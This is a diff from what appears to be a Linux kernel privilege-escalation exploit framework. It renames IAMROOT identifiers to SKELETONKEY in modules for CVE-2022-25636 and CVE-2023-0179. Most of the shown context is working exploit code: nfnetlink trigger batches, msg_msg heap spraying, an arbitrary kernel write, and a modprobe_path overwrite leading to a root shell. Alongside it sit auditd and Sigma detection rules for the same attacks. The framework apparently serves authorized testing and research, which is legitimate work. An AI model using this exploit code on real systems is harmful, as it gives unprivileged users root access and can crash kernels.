* lockdep, KASAN can all shift it). We ship the layout for an
|
||||||
* un-randomized x86_64 build in the exploitable range and rely on
|
* un-randomized x86_64 build in the exploitable range and rely on
|
||||||
* the shared finisher's sentinel-file post-check to flag layout
|
* the shared finisher's sentinel-file post-check to flag layout
|
||||||
* mismatches as IAMROOT_EXPLOIT_FAIL rather than fake success.
|
* mismatches as SKELETONKEY_EXPLOIT_FAIL rather than fake success.
|
||||||
* ------------------------------------------------------------------ */
|
* ------------------------------------------------------------------ */
|
||||||
|
|
||||||
#ifdef __linux__
|
#ifdef __linux__
|
||||||
@@ -646,7 +646,7 @@ static int spray_forged_action_entries(struct fwd_arb_ctx *c,
|
|||||||
memset(&p, 0, sizeof p);
|
memset(&p, 0, sizeof p);
|
||||||
p.mtype = 0x52; /* 'R' */
|
p.mtype = 0x52; /* 'R' */
|
||||||
memset(p.mtext, 0x52, sizeof p.mtext);
|
memset(p.mtext, 0x52, sizeof p.mtext);
|
||||||
memcpy(p.mtext, "IAMROOT_FWD_A", 13);
|
memcpy(p.mtext, "SKELETONKEY_FWD_A", 13);
|
||||||
*(uint32_t *)(p.mtext + 16) = MSG_TAG_ARB;
|
*(uint32_t *)(p.mtext + 16) = MSG_TAG_ARB;
|
||||||
|
|
||||||
/* Plant kaddr at strided 0x10-byte offsets across the first
|
/* Plant kaddr at strided 0x10-byte offsets across the first
|
||||||
@@ -727,22 +727,22 @@ static int nft_fwd_dup_arb_write(uintptr_t kaddr,
|
|||||||
* Exploit driver.
|
* Exploit driver.
|
||||||
* ------------------------------------------------------------------ */
|
* ------------------------------------------------------------------ */
|
||||||
|
|
||||||
static iamroot_result_t nft_fwd_dup_exploit(const struct iamroot_ctx *ctx)
|
static skeletonkey_result_t nft_fwd_dup_exploit(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
/* Gate 0: explicit user authorization. */
|
/* Gate 0: explicit user authorization. */
|
||||||
if (!ctx->authorized) {
|
if (!ctx->authorized) {
|
||||||
fprintf(stderr, "[-] nft_fwd_dup: refusing without --i-know\n");
|
fprintf(stderr, "[-] nft_fwd_dup: refusing without --i-know\n");
|
||||||
return IAMROOT_PRECOND_FAIL;
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
}
|
}
|
||||||
/* Gate 1: already root? */
|
/* Gate 1: already root? */
|
||||||
if (geteuid() == 0) {
|
if (geteuid() == 0) {
|
||||||
if (!ctx->json)
|
if (!ctx->json)
|
||||||
fprintf(stderr, "[i] nft_fwd_dup: already running as root\n");
|
fprintf(stderr, "[i] nft_fwd_dup: already running as root\n");
|
||||||
return IAMROOT_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
/* Gate 2: re-detect — kernel patched / userns denied since scan. */
|
/* Gate 2: re-detect — kernel patched / userns denied since scan. */
|
||||||
iamroot_result_t pre = nft_fwd_dup_detect(ctx);
|
skeletonkey_result_t pre = nft_fwd_dup_detect(ctx);
|
||||||
if (pre != IAMROOT_VULNERABLE) {
|
if (pre != SKELETONKEY_VULNERABLE) {
|
||||||
fprintf(stderr, "[-] nft_fwd_dup: detect() says not vulnerable; "
|
fprintf(stderr, "[-] nft_fwd_dup: detect() says not vulnerable; "
|
||||||
"refusing\n");
|
"refusing\n");
|
||||||
return pre;
|
return pre;
|
||||||
@@ -751,7 +751,7 @@ static iamroot_result_t nft_fwd_dup_exploit(const struct iamroot_ctx *ctx)
|
|||||||
#ifndef __linux__
|
#ifndef __linux__
|
||||||
fprintf(stderr, "[-] nft_fwd_dup: linux-only exploit; non-linux build\n");
|
fprintf(stderr, "[-] nft_fwd_dup: linux-only exploit; non-linux build\n");
|
||||||
(void)ctx;
|
(void)ctx;
|
||||||
return IAMROOT_PRECOND_FAIL;
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
#else
|
#else
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
if (ctx->full_chain) {
|
if (ctx->full_chain) {
|
||||||
@@ -768,28 +768,28 @@ static iamroot_result_t nft_fwd_dup_exploit(const struct iamroot_ctx *ctx)
|
|||||||
/* --- --full-chain path: resolve offsets before forking ---------- *
|
/* --- --full-chain path: resolve offsets before forking ---------- *
|
||||||
* Refuse cleanly if we can't reach modprobe_path. */
|
* Refuse cleanly if we can't reach modprobe_path. */
|
||||||
if (ctx->full_chain) {
|
if (ctx->full_chain) {
|
||||||
struct iamroot_kernel_offsets off;
|
struct skeletonkey_kernel_offsets off;
|
||||||
iamroot_offsets_resolve(&off);
|
skeletonkey_offsets_resolve(&off);
|
||||||
if (!iamroot_offsets_have_modprobe_path(&off)) {
|
if (!skeletonkey_offsets_have_modprobe_path(&off)) {
|
||||||
iamroot_finisher_print_offset_help("nft_fwd_dup");
|
skeletonkey_finisher_print_offset_help("nft_fwd_dup");
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
iamroot_offsets_print(&off);
|
skeletonkey_offsets_print(&off);
|
||||||
|
|
||||||
if (enter_unpriv_namespaces() < 0) {
|
if (enter_unpriv_namespaces() < 0) {
|
||||||
fprintf(stderr, "[-] nft_fwd_dup: userns entry failed\n");
|
fprintf(stderr, "[-] nft_fwd_dup: userns entry failed\n");
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
(void)bring_lo_up();
|
(void)bring_lo_up();
|
||||||
|
|
||||||
int sock = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_NETFILTER);
|
int sock = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_NETFILTER);
|
||||||
if (sock < 0) {
|
if (sock < 0) {
|
||||||
perror("[-] socket(NETLINK_NETFILTER)");
|
perror("[-] socket(NETLINK_NETFILTER)");
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
struct sockaddr_nl src = { .nl_family = AF_NETLINK };
|
struct sockaddr_nl src = { .nl_family = AF_NETLINK };
|
||||||
if (bind(sock, (struct sockaddr *)&src, sizeof src) < 0) {
|
if (bind(sock, (struct sockaddr *)&src, sizeof src) < 0) {
|
||||||
perror("[-] bind"); close(sock); return IAMROOT_EXPLOIT_FAIL;
|
perror("[-] bind"); close(sock); return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
int rcvbuf = 1 << 20;
|
int rcvbuf = 1 << 20;
|
||||||
setsockopt(sock, SOL_SOCKET, SO_RCVBUF, &rcvbuf, sizeof rcvbuf);
|
setsockopt(sock, SOL_SOCKET, SO_RCVBUF, &rcvbuf, sizeof rcvbuf);
|
||||||
@@ -804,7 +804,7 @@ static iamroot_result_t nft_fwd_dup_exploit(const struct iamroot_ctx *ctx)
|
|||||||
}
|
}
|
||||||
|
|
||||||
uint8_t *batch = calloc(1, 32 * 1024);
|
uint8_t *batch = calloc(1, 32 * 1024);
|
||||||
if (!batch) { close(sock); return IAMROOT_EXPLOIT_FAIL; }
|
if (!batch) { close(sock); return SKELETONKEY_EXPLOIT_FAIL; }
|
||||||
|
|
||||||
uint32_t seq = (uint32_t)time(NULL);
|
uint32_t seq = (uint32_t)time(NULL);
|
||||||
size_t blen = build_trigger_batch(batch, &seq);
|
size_t blen = build_trigger_batch(batch, &seq);
|
||||||
@@ -817,7 +817,7 @@ static iamroot_result_t nft_fwd_dup_exploit(const struct iamroot_ctx *ctx)
|
|||||||
fprintf(stderr, "[-] nft_fwd_dup: trigger batch send failed\n");
|
fprintf(stderr, "[-] nft_fwd_dup: trigger batch send failed\n");
|
||||||
drain_msg_msg(qids, SPRAY_QUEUES_GROOM);
|
drain_msg_msg(qids, SPRAY_QUEUES_GROOM);
|
||||||
free(batch); close(sock);
|
free(batch); close(sock);
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
struct fwd_arb_ctx ac = {
|
struct fwd_arb_ctx ac = {
|
||||||
@@ -828,7 +828,7 @@ static iamroot_result_t nft_fwd_dup_exploit(const struct iamroot_ctx *ctx)
|
|||||||
.qused = SPRAY_QUEUES_GROOM,
|
.qused = SPRAY_QUEUES_GROOM,
|
||||||
};
|
};
|
||||||
|
|
||||||
iamroot_result_t r = iamroot_finisher_modprobe_path(
|
skeletonkey_result_t r = skeletonkey_finisher_modprobe_path(
|
||||||
&off, nft_fwd_dup_arb_write, &ac, !ctx->no_shell);
|
&off, nft_fwd_dup_arb_write, &ac, !ctx->no_shell);
|
||||||
|
|
||||||
drain_msg_msg(qids, ac.qused);
|
drain_msg_msg(qids, ac.qused);
|
||||||
@@ -839,7 +839,7 @@ static iamroot_result_t nft_fwd_dup_exploit(const struct iamroot_ctx *ctx)
|
|||||||
|
|
||||||
/* --- primitive-only path: fork-isolated trigger ---------------- */
|
/* --- primitive-only path: fork-isolated trigger ---------------- */
|
||||||
pid_t child = fork();
|
pid_t child = fork();
|
||||||
if (child < 0) { perror("[-] fork"); return IAMROOT_TEST_ERROR; }
|
if (child < 0) { perror("[-] fork"); return SKELETONKEY_TEST_ERROR; }
|
||||||
|
|
||||||
if (child == 0) {
|
if (child == 0) {
|
||||||
/* CHILD: namespace + trigger. */
|
/* CHILD: namespace + trigger. */
|
||||||
@@ -890,7 +890,7 @@ static iamroot_result_t nft_fwd_dup_exploit(const struct iamroot_ctx *ctx)
|
|||||||
if (after < 0) after = slab_active("kmalloc-cg-512");
|
if (after < 0) after = slab_active("kmalloc-cg-512");
|
||||||
|
|
||||||
/* Breadcrumb for triage. */
|
/* Breadcrumb for triage. */
|
||||||
FILE *log = fopen("/tmp/iamroot-nft_fwd_dup.log", "w");
|
FILE *log = fopen("/tmp/skeletonkey-nft_fwd_dup.log", "w");
|
||||||
if (log) {
|
if (log) {
|
||||||
fprintf(log,
|
fprintf(log,
|
||||||
"nft_fwd_dup trigger child: queues=%d slab-512 pre=%ld post=%ld\n",
|
"nft_fwd_dup trigger child: queues=%d slab-512 pre=%ld post=%ld\n",
|
||||||
@@ -919,7 +919,7 @@ static iamroot_result_t nft_fwd_dup_exploit(const struct iamroot_ctx *ctx)
|
|||||||
"likely fired (KASAN/oops can manifest as signal)\n",
|
"likely fired (KASAN/oops can manifest as signal)\n",
|
||||||
WTERMSIG(status));
|
WTERMSIG(status));
|
||||||
}
|
}
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
int rc = WEXITSTATUS(status);
|
int rc = WEXITSTATUS(status);
|
||||||
@@ -933,19 +933,19 @@ static iamroot_result_t nft_fwd_dup_exploit(const struct iamroot_ctx *ctx)
|
|||||||
" the kaddr-tagged forged-entry spray reaches\n"
|
" the kaddr-tagged forged-entry spray reaches\n"
|
||||||
" the shared modprobe_path finisher.\n");
|
" the shared modprobe_path finisher.\n");
|
||||||
}
|
}
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
if (rc >= 20 && rc <= 24) {
|
if (rc >= 20 && rc <= 24) {
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[-] nft_fwd_dup: trigger setup failed "
|
fprintf(stderr, "[-] nft_fwd_dup: trigger setup failed "
|
||||||
"(child rc=%d)\n", rc);
|
"(child rc=%d)\n", rc);
|
||||||
}
|
}
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[-] nft_fwd_dup: unexpected child rc=%d\n", rc);
|
fprintf(stderr, "[-] nft_fwd_dup: unexpected child rc=%d\n", rc);
|
||||||
}
|
}
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
#endif /* __linux__ */
|
#endif /* __linux__ */
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -953,7 +953,7 @@ static iamroot_result_t nft_fwd_dup_exploit(const struct iamroot_ctx *ctx)
|
|||||||
* Cleanup — drain leftover sysv queues and unlink the breadcrumb.
|
* Cleanup — drain leftover sysv queues and unlink the breadcrumb.
|
||||||
* ------------------------------------------------------------------ */
|
* ------------------------------------------------------------------ */
|
||||||
|
|
||||||
static iamroot_result_t nft_fwd_dup_cleanup(const struct iamroot_ctx *ctx)
|
static skeletonkey_result_t nft_fwd_dup_cleanup(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[*] nft_fwd_dup: cleaning up sysv queues + log\n");
|
fprintf(stderr, "[*] nft_fwd_dup: cleaning up sysv queues + log\n");
|
||||||
@@ -980,10 +980,10 @@ static iamroot_result_t nft_fwd_dup_cleanup(const struct iamroot_ctx *ctx)
|
|||||||
fclose(f);
|
fclose(f);
|
||||||
}
|
}
|
||||||
#endif
|
#endif
|
||||||
if (unlink("/tmp/iamroot-nft_fwd_dup.log") < 0 && errno != ENOENT) {
|
if (unlink("/tmp/skeletonkey-nft_fwd_dup.log") < 0 && errno != ENOENT) {
|
||||||
/* harmless */
|
/* harmless */
|
||||||
}
|
}
|
||||||
return IAMROOT_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* ------------------------------------------------------------------
|
/* ------------------------------------------------------------------
|
||||||
@@ -995,16 +995,16 @@ static const char nft_fwd_dup_auditd[] =
|
|||||||
"# Flag the canonical exploit shape: unprivileged userns followed\n"
|
"# Flag the canonical exploit shape: unprivileged userns followed\n"
|
||||||
"# by NEWTABLE/NEWCHAIN(NFT_CHAIN_HW_OFFLOAD)/NEWRULE traffic on\n"
|
"# by NEWTABLE/NEWCHAIN(NFT_CHAIN_HW_OFFLOAD)/NEWRULE traffic on\n"
|
||||||
"# AF_NETLINK NETLINK_NETFILTER, plus the msg_msg cross-cache spray.\n"
|
"# AF_NETLINK NETLINK_NETFILTER, plus the msg_msg cross-cache spray.\n"
|
||||||
"-a always,exit -F arch=b64 -S unshare -k iamroot-nft-fwd-dup-userns\n"
|
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-nft-fwd-dup-userns\n"
|
||||||
"-a always,exit -F arch=b64 -S socket -F a0=16 -F a2=12 -k iamroot-nft-fwd-dup-netlink\n"
|
"-a always,exit -F arch=b64 -S socket -F a0=16 -F a2=12 -k skeletonkey-nft-fwd-dup-netlink\n"
|
||||||
"-a always,exit -F arch=b64 -S sendmsg -k iamroot-nft-fwd-dup-batch\n"
|
"-a always,exit -F arch=b64 -S sendmsg -k skeletonkey-nft-fwd-dup-batch\n"
|
||||||
"-a always,exit -F arch=b64 -S msgsnd -k iamroot-nft-fwd-dup-spray\n"
|
"-a always,exit -F arch=b64 -S msgsnd -k skeletonkey-nft-fwd-dup-spray\n"
|
||||||
"# Post-exploit hallmarks (modprobe_path overwrite path):\n"
|
"# Post-exploit hallmarks (modprobe_path overwrite path):\n"
|
||||||
"-w /tmp/iamroot-mp- -p w -k iamroot-nft-fwd-dup-modprobe\n";
|
"-w /tmp/skeletonkey-mp- -p w -k skeletonkey-nft-fwd-dup-modprobe\n";
|
||||||
|
|
||||||
static const char nft_fwd_dup_sigma[] =
|
static const char nft_fwd_dup_sigma[] =
|
||||||
"title: Possible CVE-2022-25636 nft_fwd_dup_netdev_offload OOB exploitation\n"
|
"title: Possible CVE-2022-25636 nft_fwd_dup_netdev_offload OOB exploitation\n"
|
||||||
"id: 3c1f9b27-iamroot-nft-fwd-dup\n"
|
"id: 3c1f9b27-skeletonkey-nft-fwd-dup\n"
|
||||||
"status: experimental\n"
|
"status: experimental\n"
|
||||||
"description: |\n"
|
"description: |\n"
|
||||||
" Detects unprivileged user namespace creation followed by\n"
|
" Detects unprivileged user namespace creation followed by\n"
|
||||||
@@ -1024,7 +1024,7 @@ static const char nft_fwd_dup_sigma[] =
|
|||||||
"level: high\n"
|
"level: high\n"
|
||||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2022.25636]\n";
|
"tags: [attack.privilege_escalation, attack.t1068, cve.2022.25636]\n";
|
||||||
|
|
||||||
const struct iamroot_module nft_fwd_dup_module = {
|
const struct skeletonkey_module nft_fwd_dup_module = {
|
||||||
.name = "nft_fwd_dup",
|
.name = "nft_fwd_dup",
|
||||||
.cve = "CVE-2022-25636",
|
.cve = "CVE-2022-25636",
|
||||||
.summary = "nft_fwd_dup_netdev_offload heap OOB write (Aaron Adams)",
|
.summary = "nft_fwd_dup_netdev_offload heap OOB write (Aaron Adams)",
|
||||||
@@ -1041,7 +1041,7 @@ const struct iamroot_module nft_fwd_dup_module = {
|
|||||||
.detect_falco = NULL,
|
.detect_falco = NULL,
|
||||||
};
|
};
|
||||||
|
|
||||||
void iamroot_register_nft_fwd_dup(void)
|
void skeletonkey_register_nft_fwd_dup(void)
|
||||||
{
|
{
|
||||||
iamroot_register(&nft_fwd_dup_module);
|
skeletonkey_register(&nft_fwd_dup_module);
|
||||||
}
|
}
|
||||||
@@ -0,0 +1,12 @@
|
|||||||
|
/*
|
||||||
|
* nft_fwd_dup_cve_2022_25636 — SKELETONKEY module registry hook
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef NFT_FWD_DUP_SKELETONKEY_MODULES_H
|
||||||
|
#define NFT_FWD_DUP_SKELETONKEY_MODULES_H
|
||||||
|
|
||||||
|
#include "../../core/module.h"
|
||||||
|
|
||||||
|
extern const struct skeletonkey_module nft_fwd_dup_module;
|
||||||
|
|
||||||
|
#endif
|
||||||
@@ -20,7 +20,7 @@ Upstream fix: mainline 6.2-rc4 (commit `696e1a48b1a1`, Jan 2023).
|
|||||||
Branch backports: 4.14.302 / 4.19.269 / 5.4.229 / 5.10.163 /
|
Branch backports: 4.14.302 / 4.19.269 / 5.4.229 / 5.10.163 /
|
||||||
5.15.88 / 6.1.6.
|
5.15.88 / 6.1.6.
|
||||||
|
|
||||||
## IAMROOT role
|
## SKELETONKEY role
|
||||||
|
|
||||||
userns+netns. Hand-rolled nfnetlink batch: NEWTABLE → NEWCHAIN →
|
userns+netns. Hand-rolled nfnetlink batch: NEWTABLE → NEWCHAIN →
|
||||||
NEWSET with `NFTA_SET_DESC` describing variable-length elements →
|
NEWSET with `NFTA_SET_DESC` describing variable-length elements →
|
||||||
|
|||||||
@@ -1,12 +0,0 @@
|
|||||||
/*
|
|
||||||
* nft_payload_cve_2023_0179 — IAMROOT module registry hook
|
|
||||||
*/
|
|
||||||
|
|
||||||
#ifndef NFT_PAYLOAD_IAMROOT_MODULES_H
|
|
||||||
#define NFT_PAYLOAD_IAMROOT_MODULES_H
|
|
||||||
|
|
||||||
#include "../../core/module.h"
|
|
||||||
|
|
||||||
extern const struct iamroot_module nft_payload_module;
|
|
||||||
|
|
||||||
#endif
|
|
||||||
+54
-54
@@ -1,5 +1,5 @@
|
|||||||
/*
|
/*
|
||||||
* nft_payload_cve_2023_0179 — IAMROOT module
|
* nft_payload_cve_2023_0179 — SKELETONKEY module
|
||||||
*
|
*
|
||||||
* Netfilter nf_tables variable-length element-extension OOB R/W.
|
* Netfilter nf_tables variable-length element-extension OOB R/W.
|
||||||
* Discovered January 2023 by Davide Ornaghi. nf_tables payload set/get
|
* Discovered January 2023 by Davide Ornaghi. nf_tables payload set/get
|
||||||
@@ -25,12 +25,12 @@
|
|||||||
* payload-set whose attacker-controlled verdict.code drives the
|
* payload-set whose attacker-controlled verdict.code drives the
|
||||||
* OOB), spray msg_msg payloads adjacent to the regs->data target,
|
* OOB), spray msg_msg payloads adjacent to the regs->data target,
|
||||||
* fires a synthetic packet through the chain, snapshots
|
* fires a synthetic packet through the chain, snapshots
|
||||||
* /proc/slabinfo, logs to /tmp/iamroot-nft_payload.log, returns
|
* /proc/slabinfo, logs to /tmp/skeletonkey-nft_payload.log, returns
|
||||||
* IAMROOT_EXPLOIT_FAIL (primitive-only behavior).
|
* SKELETONKEY_EXPLOIT_FAIL (primitive-only behavior).
|
||||||
* - With --full-chain: after the trigger lands, we resolve kernel
|
* - With --full-chain: after the trigger lands, we resolve kernel
|
||||||
* offsets (env → kallsyms → System.map → embedded table) and run
|
* offsets (env → kallsyms → System.map → embedded table) and run
|
||||||
* a Davide-Ornaghi-style payload-set arb-write via the shared
|
* a Davide-Ornaghi-style payload-set arb-write via the shared
|
||||||
* iamroot_finisher_modprobe_path() helper. The arb-write itself
|
* skeletonkey_finisher_modprobe_path() helper. The arb-write itself
|
||||||
* is FALLBACK-DEPTH: we refire the set-element registration with
|
* is FALLBACK-DEPTH: we refire the set-element registration with
|
||||||
* a verdict code chosen so the OOB index lands on a msg_msg slot
|
* a verdict code chosen so the OOB index lands on a msg_msg slot
|
||||||
* we tagged with the caller's kaddr + payload bytes. The exact
|
* we tagged with the caller's kaddr + payload bytes. The exact
|
||||||
@@ -47,7 +47,7 @@
|
|||||||
* unprivileged user even on a kernel-vulnerable host.
|
* unprivileged user even on a kernel-vulnerable host.
|
||||||
*/
|
*/
|
||||||
|
|
||||||
#include "iamroot_modules.h"
|
#include "skeletonkey_modules.h"
|
||||||
#include "../../core/registry.h"
|
#include "../../core/registry.h"
|
||||||
#include "../../core/kernel_range.h"
|
#include "../../core/kernel_range.h"
|
||||||
#include "../../core/offsets.h"
|
#include "../../core/offsets.h"
|
||||||
@@ -129,12 +129,12 @@ static bool nf_tables_loaded(void)
|
|||||||
return found;
|
return found;
|
||||||
}
|
}
|
||||||
|
|
||||||
static iamroot_result_t nft_payload_detect(const struct iamroot_ctx *ctx)
|
static skeletonkey_result_t nft_payload_detect(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
struct kernel_version v;
|
struct kernel_version v;
|
||||||
if (!kernel_version_current(&v)) {
|
if (!kernel_version_current(&v)) {
|
||||||
fprintf(stderr, "[!] nft_payload: could not parse kernel version\n");
|
fprintf(stderr, "[!] nft_payload: could not parse kernel version\n");
|
||||||
return IAMROOT_TEST_ERROR;
|
return SKELETONKEY_TEST_ERROR;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Bug introduced with the set-payload extension in 5.4. Anything
|
/* Bug introduced with the set-payload extension in 5.4. Anything
|
||||||
@@ -145,7 +145,7 @@ static iamroot_result_t nft_payload_detect(const struct iamroot_ctx *ctx)
|
|||||||
"(set-payload extension landed in 5.4)\n",
|
"(set-payload extension landed in 5.4)\n",
|
||||||
v.release);
|
v.release);
|
||||||
}
|
}
|
||||||
return IAMROOT_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
bool patched = kernel_range_is_patched(&nft_payload_range, &v);
|
bool patched = kernel_range_is_patched(&nft_payload_range, &v);
|
||||||
@@ -153,7 +153,7 @@ static iamroot_result_t nft_payload_detect(const struct iamroot_ctx *ctx)
|
|||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[+] nft_payload: kernel %s is patched\n", v.release);
|
fprintf(stderr, "[+] nft_payload: kernel %s is patched\n", v.release);
|
||||||
}
|
}
|
||||||
return IAMROOT_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
int userns_ok = can_unshare_userns();
|
int userns_ok = can_unshare_userns();
|
||||||
@@ -177,14 +177,14 @@ static iamroot_result_t nft_payload_detect(const struct iamroot_ctx *ctx)
|
|||||||
fprintf(stderr, "[i] nft_payload: still patch the kernel — a root "
|
fprintf(stderr, "[i] nft_payload: still patch the kernel — a root "
|
||||||
"attacker can still trigger the bug\n");
|
"attacker can still trigger the bug\n");
|
||||||
}
|
}
|
||||||
return IAMROOT_PRECOND_FAIL;
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[!] nft_payload: VULNERABLE — kernel in range AND "
|
fprintf(stderr, "[!] nft_payload: VULNERABLE — kernel in range AND "
|
||||||
"user_ns clone allowed\n");
|
"user_ns clone allowed\n");
|
||||||
}
|
}
|
||||||
return IAMROOT_VULNERABLE;
|
return SKELETONKEY_VULNERABLE;
|
||||||
}
|
}
|
||||||
|
|
||||||
#ifdef __linux__
|
#ifdef __linux__
|
||||||
@@ -225,7 +225,7 @@ static int enter_unpriv_namespaces(void)
|
|||||||
|
|
||||||
/* ------------------------------------------------------------------
|
/* ------------------------------------------------------------------
|
||||||
* Minimal nfnetlink batch builder — same shape as nf_tables_cve_2024_1086
|
* Minimal nfnetlink batch builder — same shape as nf_tables_cve_2024_1086
|
||||||
* to keep the IAMROOT family code self-consistent; we inline rather
|
* to keep the SKELETONKEY family code self-consistent; we inline rather
|
||||||
* than link against the other module so a future refactor can pull the
|
* than link against the other module so a future refactor can pull the
|
||||||
* helpers up into core/ without breaking either consumer.
|
* helpers up into core/ without breaking either consumer.
|
||||||
* ------------------------------------------------------------------ */
|
* ------------------------------------------------------------------ */
|
||||||
@@ -341,9 +341,9 @@ static void put_batch_end(uint8_t *buf, size_t *off, uint32_t seq)
|
|||||||
* Per-module strings.
|
* Per-module strings.
|
||||||
* ------------------------------------------------------------------ */
|
* ------------------------------------------------------------------ */
|
||||||
|
|
||||||
static const char NFT_TABLE_NAME[] = "iamroot_pl_t";
|
static const char NFT_TABLE_NAME[] = "skeletonkey_pl_t";
|
||||||
static const char NFT_CHAIN_NAME[] = "iamroot_pl_c";
|
static const char NFT_CHAIN_NAME[] = "skeletonkey_pl_c";
|
||||||
static const char NFT_SET_NAME[] = "iamroot_pl_s";
|
static const char NFT_SET_NAME[] = "skeletonkey_pl_s";
|
||||||
|
|
||||||
/* NFT expression "name" attributes are NUL-terminated short strings. */
|
/* NFT expression "name" attributes are NUL-terminated short strings. */
|
||||||
#define NFT_EXPR_PAYLOAD_NAME "payload"
|
#define NFT_EXPR_PAYLOAD_NAME "payload"
|
||||||
@@ -373,7 +373,7 @@ static const char NFT_SET_NAME[] = "iamroot_pl_s";
|
|||||||
* exploitable range. The exact "right" magic is per-build; we ship a
|
* exploitable range. The exact "right" magic is per-build; we ship a
|
||||||
* default that matched Davide's PoC on a stock 5.15 build and rely on
|
* default that matched Davide's PoC on a stock 5.15 build and rely on
|
||||||
* the finisher's sentinel-file post-check to flag a layout mismatch as
|
* the finisher's sentinel-file post-check to flag a layout mismatch as
|
||||||
* IAMROOT_EXPLOIT_FAIL rather than fake success. */
|
* SKELETONKEY_EXPLOIT_FAIL rather than fake success. */
|
||||||
#define NFT_PAYLOAD_OOB_INDEX_DEFAULT 0x100
|
#define NFT_PAYLOAD_OOB_INDEX_DEFAULT 0x100
|
||||||
|
|
||||||
/* ------------------------------------------------------------------
|
/* ------------------------------------------------------------------
|
||||||
@@ -685,7 +685,7 @@ static void trigger_packet(void)
|
|||||||
dst.sin_port = htons(31337);
|
dst.sin_port = htons(31337);
|
||||||
dst.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
|
dst.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
|
||||||
|
|
||||||
const char m[] = "iamroot-nft_payload-trigger";
|
const char m[] = "skeletonkey-nft_payload-trigger";
|
||||||
for (int i = 0; i < 8; i++) {
|
for (int i = 0; i < 8; i++) {
|
||||||
(void)!sendto(s, m, sizeof m, MSG_DONTWAIT,
|
(void)!sendto(s, m, sizeof m, MSG_DONTWAIT,
|
||||||
(struct sockaddr *)&dst, sizeof dst);
|
(struct sockaddr *)&dst, sizeof dst);
|
||||||
@@ -732,7 +732,7 @@ static size_t build_refire_batch(uint8_t *batch, size_t cap, uint32_t *seq,
|
|||||||
* KASAN, lockdep, kernel build options all shift it). The shipped
|
* KASAN, lockdep, kernel build options all shift it). The shipped
|
||||||
* default oob_index matches Davide's PoC on a stock 5.15 build; the
|
* default oob_index matches Davide's PoC on a stock 5.15 build; the
|
||||||
* shared finisher's sentinel-file post-check flags layout mismatch as
|
* shared finisher's sentinel-file post-check flags layout mismatch as
|
||||||
* IAMROOT_EXPLOIT_FAIL rather than fake success.
|
* SKELETONKEY_EXPLOIT_FAIL rather than fake success.
|
||||||
* ------------------------------------------------------------------ */
|
* ------------------------------------------------------------------ */
|
||||||
|
|
||||||
struct nft_payload_arb_ctx {
|
struct nft_payload_arb_ctx {
|
||||||
@@ -807,21 +807,21 @@ static int nft_payload_arb_write(uintptr_t kaddr, const void *buf, size_t len,
|
|||||||
* Exploit body.
|
* Exploit body.
|
||||||
* ------------------------------------------------------------------ */
|
* ------------------------------------------------------------------ */
|
||||||
|
|
||||||
static iamroot_result_t nft_payload_exploit(const struct iamroot_ctx *ctx)
|
static skeletonkey_result_t nft_payload_exploit(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
if (!ctx->authorized) {
|
if (!ctx->authorized) {
|
||||||
fprintf(stderr, "[-] nft_payload: refusing — --i-know not passed; "
|
fprintf(stderr, "[-] nft_payload: refusing — --i-know not passed; "
|
||||||
"exploit code can crash the kernel\n");
|
"exploit code can crash the kernel\n");
|
||||||
return IAMROOT_PRECOND_FAIL;
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
}
|
}
|
||||||
if (geteuid() == 0) {
|
if (geteuid() == 0) {
|
||||||
if (!ctx->json)
|
if (!ctx->json)
|
||||||
fprintf(stderr, "[i] nft_payload: already running as root\n");
|
fprintf(stderr, "[i] nft_payload: already running as root\n");
|
||||||
return IAMROOT_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
